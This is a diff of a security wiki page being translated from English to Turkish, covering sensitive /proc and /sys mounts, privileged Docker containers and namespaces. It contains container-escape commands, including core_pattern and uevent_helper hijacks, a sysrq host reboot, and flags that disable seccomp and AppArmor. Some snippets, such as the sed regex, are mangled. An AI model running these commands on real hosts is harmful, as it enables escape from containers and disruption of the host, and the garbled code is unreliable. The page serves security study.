sleep 5 && ./crash & # Trigger handler
|
||||
```
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Yazma erişimini test et
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern # Özel işleyici ayarla
|
||||
sleep 5 && ./crash & # İşleyiciyi tetikle
|
||||
```
|
||||
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Contains the path to the kernel module loader, invoked for loading kernel modules.
|
||||
- **Checking Access Example**:
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde detaylandırılmıştır.
|
||||
- Çekirdek modül yükleyicisinin yolunu içerir, çekirdek modüllerini yüklemek için çağrılır.
|
||||
- **Erişim Kontrolü Örneği**:
|
||||
|
||||
```bash
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
|
||||
```
|
||||
```bash
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
|
||||
```
|
||||
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs.
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde referans verilmiştir.
|
||||
- OOM durumu meydana geldiğinde çekirdeğin panik yapıp yapmayacağını kontrol eden bir global bayraktır.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system.
|
||||
- Write access can enable various denial-of-service attacks against the host.
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) gereğince, dosya sistemi hakkında seçenekler ve bilgiler içerir.
|
||||
- Yazma erişimi, ana makineye karşı çeşitli hizmet reddi saldırılarını etkinleştirebilir.
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- Allows registering interpreters for non-native binary formats based on their magic number.
|
||||
- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable.
|
||||
- Relevant exploit and explanation:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
- Sihirli numaralarına dayalı olarak yerel olmayan ikili formatlar için yorumlayıcıların kaydedilmesine izin verir.
|
||||
- `/proc/sys/fs/binfmt_misc/register` yazılabilir olduğunda ayrıcalık yükselmesine veya root shell erişimine yol açabilir.
|
||||
- İlgili sömürü ve açıklama:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Derinlemesine eğitim: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Others in `/proc`
|
||||
### Diğerleri `/proc` içinde
|
||||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled.
|
||||
- Useful for attackers to identify vulnerabilities in the running kernel.
|
||||
- `CONFIG_IKCONFIG_PROC` etkinse çekirdek yapılandırmasını açığa çıkarabilir.
|
||||
- Saldırganlar için çalışan çekirdekteki zafiyetleri tanımlamak için faydalıdır.
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions.
|
||||
- **Rebooting Host Example**:
|
||||
- Sysrq komutlarını çağırmaya izin verir, bu da ani sistem yeniden başlatmalarına veya diğer kritik eylemlere neden olabilir.
|
||||
- **Ana Makineyi Yeniden Başlatma Örneği**:
|
||||
|
||||
```bash
|
||||
echo b > /proc/sysrq-trigger # Reboots the host
|
||||
```
|
||||
```bash
|
||||
echo b > /proc/sysrq-trigger # Ana makineyi yeniden başlatır
|
||||
```
|
||||
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- Exposes kernel ring buffer messages.
|
||||
- Can aid in kernel exploits, address leaks, and provide sensitive system information.
|
||||
- Çekirdek halka tamponu mesajlarını açığa çıkarır.
|
||||
- Çekirdek sömürülerine, adres sızıntılarına yardımcı olabilir ve hassas sistem bilgilerini sağlayabilir.
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Lists kernel exported symbols and their addresses.
|
||||
- Essential for kernel exploit development, especially for overcoming KASLR.
|
||||
- Address information is restricted with `kptr_restrict` set to `1` or `2`.
|
||||
- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Çekirdek tarafından dışa aktarılan sembolleri ve adreslerini listeler.
|
||||
- Çekirdek sömürü geliştirme için önemlidir, özellikle KASLR'yi aşmak için.
|
||||
- Adres bilgileri `kptr_restrict` 1 veya 2 olarak ayarlandığında kısıtlanır.
|
||||
- Detaylar [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde.
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
- Interfaces with the kernel memory device `/dev/mem`.
|
||||
- Historically vulnerable to privilege escalation attacks.
|
||||
- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Çekirdek bellek cihazı `/dev/mem` ile arayüz sağlar.
|
||||
- Tarihsel olarak ayrıcalık yükseltme saldırılarına karşı savunmasızdır.
|
||||
- Daha fazla bilgi [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde.
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
- Represents the system's physical memory in ELF core format.
|
||||
- Reading can leak host system and other containers' memory contents.
|
||||
- Large file size can lead to reading issues or software crashes.
|
||||
- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
- Sistemin fiziksel belleğini ELF çekirdek formatında temsil eder.
|
||||
- Okuma, ana makine sistemi ve diğer konteynerlerin bellek içeriklerini sızdırabilir.
|
||||
- Büyük dosya boyutu okuma sorunlarına veya yazılım çökmesine yol açabilir.
|
||||
- Detaylı kullanım [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) içinde.
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
- Alternate interface for `/dev/kmem`, representing kernel virtual memory.
|
||||
- Allows reading and writing, hence direct modification of kernel memory.
|
||||
- Çekirdek sanal belleğini temsil eden `/dev/kmem` için alternatif bir arayüzdür.
|
||||
- Okuma ve yazma izni verir, dolayısıyla çekirdek belleğini doğrudan değiştirmeye olanak tanır.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
- Alternate interface for `/dev/mem`, representing physical memory.
|
||||
- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses.
|
||||
- Fiziksel belleği temsil eden `/dev/mem` için alternatif bir arayüzdür.
|
||||
- Okuma ve yazma izni verir, tüm belleği değiştirmek için sanal adreslerin fiziksel adreslere çözülmesi gerekir.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
- Returns process scheduling information, bypassing PID namespace protections.
|
||||
- Exposes process names, IDs, and cgroup identifiers.
|
||||
- PID ad alanı korumalarını atlayarak süreç zamanlama bilgilerini döndürür.
|
||||
- Süreç adlarını, kimliklerini ve cgroup tanımlayıcılarını açığa çıkarır.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
- Provides information about mount points in the process's mount namespace.
|
||||
- Exposes the location of the container `rootfs` or image.
|
||||
- Sürecin montaj ad alanındaki montaj noktaları hakkında bilgi sağlar.
|
||||
- Konteyner `rootfs` veya görüntüsünün konumunu açığa çıkarır.
|
||||
|
||||
### `/sys` Vulnerabilities
|
||||
### `/sys` Zafiyetleri
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
- Used for handling kernel device `uevents`.
|
||||
- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers.
|
||||
- **Example for Exploitation**: %%%bash
|
||||
- Çekirdek cihaz `uevents`'lerini işlemek için kullanılır.
|
||||
- `/sys/kernel/uevent_helper`'a yazmak, `uevent` tetikleyicileri üzerine rastgele betikler çalıştırabilir.
|
||||
- **Sömürü Örneği**: %%%bash
|
||||
|
||||
#### Creates a payload
|
||||
#### Bir yük oluşturur
|
||||
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
|
||||
#### Finds host path from OverlayFS mount for container
|
||||
#### Konteyner için OverlayFS montajından ana makine yolunu bulur
|
||||
|
||||
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
|
||||
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
|
||||
|
||||
#### Sets uevent_helper to malicious helper
|
||||
#### uevent_helper'ı kötü niyetli yardımcıya ayarlar
|
||||
|
||||
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
||||
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
||||
|
||||
#### Triggers a uevent
|
||||
#### Bir uevent tetikler
|
||||
|
||||
echo change > /sys/class/mem/null/uevent
|
||||
echo change > /sys/class/mem/null/uevent
|
||||
|
||||
#### Reads the output
|
||||
#### Çıktıyı okur
|
||||
|
||||
cat /output %%%
|
||||
cat /output %%%
|
||||
|
||||
#### **`/sys/class/thermal`**
|
||||
|
||||
- Controls temperature settings, potentially causing DoS attacks or physical damage.
|
||||
- Sıcaklık ayarlarını kontrol eder, bu da DoS saldırılarına veya fiziksel hasara neden olabilir.
|
||||
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
- Leaks kernel addresses, potentially compromising KASLR.
|
||||
- Çekirdek adreslerini sızdırır, bu da KASLR'yi tehlikeye atabilir.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
|
||||
- Access might enable a container to disable its MAC system.
|
||||
- Linux Güvenlik Modüllerinin (AppArmor gibi) yapılandırılmasına izin veren `securityfs` arayüzünü barındırır.
|
||||
- Erişim, bir konteynerin MAC sistemini devre dışı bırakmasına olanak tanıyabilir.
|
||||
|
||||
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
|
||||
#### **`/sys/firmware/efi/vars` ve `/sys/firmware/efi/efivars`**
|
||||
|
||||
- Exposes interfaces for interacting with EFI variables in NVRAM.
|
||||
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
|
||||
- NVRAM'deki EFI değişkenleri ile etkileşim kurmak için arayüzler açığa çıkarır.
|
||||
- Yanlış yapılandırma veya sömürü, bozuk dizüstü bilgisayarlara veya başlatılamayan ana makinelerle sonuçlanabilir.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
- `debugfs` offers a "no rules" debugging interface to the kernel.
|
||||
- History of security issues due to its unrestricted nature.
|
||||
- `debugfs`, çekirdeğe "kural yok" hata ayıklama arayüzü sunar.
|
||||
- Kısıtlanmamış doğası nedeniyle güvenlik sorunları geçmişi vardır.
|
||||
|
||||
### References
|
||||
### Referanslar
|
||||
|
||||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
|
||||
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
|
||||
|
||||
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,28 +2,25 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## What Affects
|
||||
## Ne Etkiler
|
||||
|
||||
When you run a container as privileged these are the protections you are disabling:
|
||||
Bir konteyneri ayrıcalıklı olarak çalıştırdığınızda, devre dışı bıraktığınız korumalar şunlardır:
|
||||
|
||||
### Mount /dev
|
||||
|
||||
In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host.
|
||||
Ayrıcalıklı bir konteynerde, tüm **cihazlar `/dev/` içinde erişilebilir**. Bu nedenle, **diskin** ana makineden **mount edilmesiyle** **kaçabilirsiniz**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Inside default container"}}
|
||||
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
ls /dev
|
||||
console fd mqueue ptmx random stderr stdout urandom
|
||||
core full null pts shm stdin tty zero
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Inside Privileged Container"}}
|
||||
|
||||
{{#tab name="İçeride Yetkili Konteyner"}}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
ls /dev
|
||||
@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26
|
||||
cpu nbd0 pts stdout tty27 tty47 ttyS0
|
||||
[...]
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Read-only kernel file systems
|
||||
### Sadece okunur çekirdek dosya sistemleri
|
||||
|
||||
Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel.
|
||||
Çekirdek dosya sistemleri, bir sürecin çekirdeğin davranışını değiştirmesi için bir mekanizma sağlar. Ancak, konteyner süreçleri söz konusu olduğunda, onların çekirdekte herhangi bir değişiklik yapmalarını önlemek istiyoruz. Bu nedenle, çekirdek dosya sistemlerini konteyner içinde **sadece okunur** olarak monte ediyoruz ve böylece konteyner süreçlerinin çekirdeği değiştirmesini engelliyoruz.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Inside default container"}}
|
||||
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
mount | grep '(ro'
|
||||
@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
|
||||
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
|
||||
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Inside Privileged Container"}}
|
||||
|
||||
{{#tab name="İçeride Yetkili Konteyner"}}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
mount | grep '(ro'
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Masking over kernel file systems
|
||||
### Çekirdek dosya sistemlerini maskeleme
|
||||
|
||||
The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas.
|
||||
**/proc** dosya sistemi seçici olarak yazılabilir, ancak güvenlik için, belirli kısımlar **tmpfs** ile örtülerek yazma ve okuma erişiminden korunur, bu da konteyner süreçlerinin hassas alanlara erişememesini sağlar.
|
||||
|
||||
> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever.
|
||||
> [!NOTE] > **tmpfs**, tüm dosyaları sanal bellekte depolayan bir dosya sistemidir. tmpfs, sabit diskinizde herhangi bir dosya oluşturmaz. Bu nedenle, bir tmpfs dosya sistemini ayırırsanız, içinde bulunan tüm dosyalar sonsuza dek kaybolur.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Inside default container"}}
|
||||
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
mount | grep /proc.*tmpfs
|
||||
@ -81,30 +72,26 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime)
|
||||
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
|
||||
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Inside Privileged Container"}}
|
||||
|
||||
{{#tab name="İçeride Yetkili Konteyner"}}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
mount | grep /proc.*tmpfs
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Linux capabilities
|
||||
### Linux yetenekleri
|
||||
|
||||
Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read:
|
||||
Konteyner motorları, konteynerin içinde neler olduğunu kontrol etmek için konteynerleri **sınırlı sayıda yetenekle** başlatır. **Ayrıcalıklı** olanlar **tüm** **yeteneklere** erişime sahiptir. Yetenekler hakkında bilgi edinmek için okuyun:
|
||||
|
||||
{{#ref}}
|
||||
../linux-capabilities.md
|
||||
{{#endref}}
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Inside default container"}}
|
||||
|
||||
{{#tab name="Varsayılan konteynerin içinde"}}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
apk add -U libcap; capsh --print
|
||||
@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
||||
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||
[...]
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Inside Privileged Container"}}
|
||||
|
||||
{{#tab name="İçeride Yetkili Konteyner"}}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
apk add -U libcap; capsh --print
|
||||
@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip
|
||||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
|
||||
[...]
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags.
|
||||
Bir konteynerin `--privileged` modunda çalışmadan mevcut yeteneklerini `--cap-add` ve `--cap-drop` bayraklarını kullanarak manipüle edebilirsiniz.
|
||||
|
||||
### Seccomp
|
||||
|
||||
**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here:
|
||||
**Seccomp**, bir konteynerin çağırabileceği **syscall'ları** **sınırlamak** için faydalıdır. Docker konteynerleri çalıştırıldığında varsayılan olarak bir seccomp profili etkinleştirilir, ancak ayrıcalıklı modda devre dışı bırakılır. Seccomp hakkında daha fazla bilgi edinin:
|
||||
|
||||
{{#ref}}
|
||||
seccomp.md
|
||||
@ -142,100 +126,86 @@ seccomp.md
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Inside default container"}}
|
||||
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
Seccomp: 2
|
||||
Seccomp_filters: 1
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Inside Privileged Container"}}
|
||||
|
||||
{{#tab name="İçeride Yetkili Konteyner"}}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
Seccomp: 0
|
||||
Seccomp_filters: 0
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
```bash
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt seccomp=unconfined
|
||||
```
|
||||
|
||||
Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default**
|
||||
Ayrıca, Docker (veya diğer CRI'ler) bir **Kubernetes** kümesinde kullanıldığında, **seccomp filtresi varsayılan olarak devre dışıdır.**
|
||||
|
||||
### AppArmor
|
||||
|
||||
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled.
|
||||
**AppArmor**, **konteynerleri** **sınırlı** bir **kaynak** kümesine **per-program profilleri** ile sınırlamak için bir çekirdek geliştirmesidir. `--privileged` bayrağı ile çalıştığınızda, bu koruma devre dışıdır.
|
||||
|
||||
{{#ref}}
|
||||
apparmor.md
|
||||
{{#endref}}
|
||||
|
||||
```bash
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt apparmor=unconfined
|
||||
```
|
||||
|
||||
### SELinux
|
||||
|
||||
Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied.
|
||||
`--privileged` bayrağı ile bir konteyner çalıştırmak **SELinux etiketlerini** devre dışı bırakır ve konteyner motorunun etiketini, genellikle `unconfined`, miras almasına neden olur; bu da konteyner motoruna benzer şekilde tam erişim sağlar. Rootless modda `container_runtime_t` kullanılırken, root modda `spc_t` uygulanır.
|
||||
|
||||
{{#ref}}
|
||||
../selinux.md
|
||||
{{#endref}}
|
||||
|
||||
```bash
|
||||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
## Ne Etkilemez
|
||||
|
||||
## What Doesn't Affect
|
||||
### Ad Alanları
|
||||
|
||||
### Namespaces
|
||||
|
||||
Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags.
|
||||
Ad alanları **`--privileged`** bayrağından **ETKİLENMEZ**. Güvenlik kısıtlamaları etkin olmasa da, **örneğin sistemdeki veya ana ağdaki tüm süreçleri göremezler**. Kullanıcılar, **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** konteyner motoru bayraklarını kullanarak bireysel ad alanlarını devre dışı bırakabilirler.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Inside default privileged container"}}
|
||||
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
ps -ef
|
||||
PID USER TIME COMMAND
|
||||
1 root 0:00 sh
|
||||
18 root 0:00 ps -ef
|
||||
1 root 0:00 sh
|
||||
18 root 0:00 ps -ef
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Inside --pid=host Container"}}
|
||||
|
||||
{{#tab name="İçeride --pid=host Konteyner"}}
|
||||
```bash
|
||||
# docker run --rm --privileged --pid=host -it alpine sh
|
||||
ps -ef
|
||||
PID USER TIME COMMAND
|
||||
1 root 0:03 /sbin/init
|
||||
2 root 0:00 [kthreadd]
|
||||
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
|
||||
1 root 0:03 /sbin/init
|
||||
2 root 0:00 [kthreadd]
|
||||
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
|
||||
[...]
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### User namespace
|
||||
### Kullanıcı ad alanı
|
||||
|
||||
**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges.
|
||||
**Varsayılan olarak, konteyner motorları kullanıcı ad alanlarını kullanmaz, köksüz konteynerler hariç**, bu konteynerler dosya sistemi montajı ve birden fazla UID kullanmak için bunlara ihtiyaç duyar. Köksüz konteynerler için hayati öneme sahip olan kullanıcı ad alanları devre dışı bırakılamaz ve ayrıcalıkları kısıtlayarak güvenliği önemli ölçüde artırır.
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
|
||||
|
||||
@ -1,44 +1,44 @@
|
||||
# Namespaces
|
||||
# Ad Alanları
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### **PID namespace**
|
||||
### **PID ad alanı**
|
||||
|
||||
{{#ref}}
|
||||
pid-namespace.md
|
||||
{{#endref}}
|
||||
|
||||
### **Mount namespace**
|
||||
### **Mount ad alanı**
|
||||
|
||||
{{#ref}}
|
||||
mount-namespace.md
|
||||
{{#endref}}
|
||||
|
||||
### **Network namespace**
|
||||
### **Ağ ad alanı**
|
||||
|
||||
{{#ref}}
|
||||
network-namespace.md
|
||||
{{#endref}}
|
||||
|
||||
### **IPC Namespace**
|
||||
### **IPC Ad Alanı**
|
||||
|
||||
{{#ref}}
|
||||
ipc-namespace.md
|
||||
{{#endref}}
|
||||
|
||||
### **UTS namespace**
|
||||
### **UTS ad alanı**
|
||||
|
||||
{{#ref}}
|
||||
uts-namespace.md
|
||||
{{#endref}}
|
||||
|
||||
### Time Namespace
|
||||
### Zaman Ad Alanı
|
||||
|
||||
{{#ref}}
|
||||
time-namespace.md
|
||||
{{#endref}}
|
||||
|
||||
### User namespace
|
||||
### Kullanıcı ad alanı
|
||||
|
||||
{{#ref}}
|
||||
user-namespace.md
|
||||
|
||||
@ -2,90 +2,80 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O.
|
||||
Cgroup namespace, **bir namespace içinde çalışan süreçler için cgroup hiyerarşilerinin izolasyonunu sağlayan** bir Linux çekirdek özelliğidir. Cgroups, **kontrol grupları** için kısaltmadır ve süreçleri hiyerarşik gruplar halinde organize ederek **sistem kaynakları** üzerinde CPU, bellek ve I/O gibi **sınırlamalar** yönetmeyi ve uygulamayı sağlar.
|
||||
|
||||
While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces.
|
||||
Cgroup namespace'leri, daha önce tartıştığımız diğerleri gibi ayrı bir namespace türü olmasa da (PID, mount, network vb.), namespace izolasyonu kavramıyla ilişkilidir. **Cgroup namespace'leri cgroup hiyerarşisinin görünümünü sanallaştırır**, böylece bir cgroup namespace içinde çalışan süreçler, ana makinede veya diğer namespace'lerde çalışan süreçlere kıyasla hiyerarşinin farklı bir görünümüne sahip olur.
|
||||
|
||||
### How it works:
|
||||
### Nasıl çalışır:
|
||||
|
||||
1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup.
|
||||
2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree.
|
||||
3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves.
|
||||
1. Yeni bir cgroup namespace oluşturulduğunda, **oluşturan sürecin cgroup'una dayanan bir cgroup hiyerarşisi görünümü ile başlar**. Bu, yeni cgroup namespace içinde çalışan süreçlerin, yalnızca oluşturucu sürecin cgroup'unda köklenen cgroup alt ağacına sınırlı olarak, tüm cgroup hiyerarşisinin bir alt kümesini göreceği anlamına gelir.
|
||||
2. Bir cgroup namespace içindeki süreçler, **kendi cgroup'larını hiyerarşinin kökü olarak görecektir**. Bu, namespace içindeki süreçlerin bakış açısından, kendi cgroup'larının kök olarak göründüğü ve kendi alt ağaçlarının dışındaki cgroup'ları göremeyeceği veya erişemeyeceği anlamına gelir.
|
||||
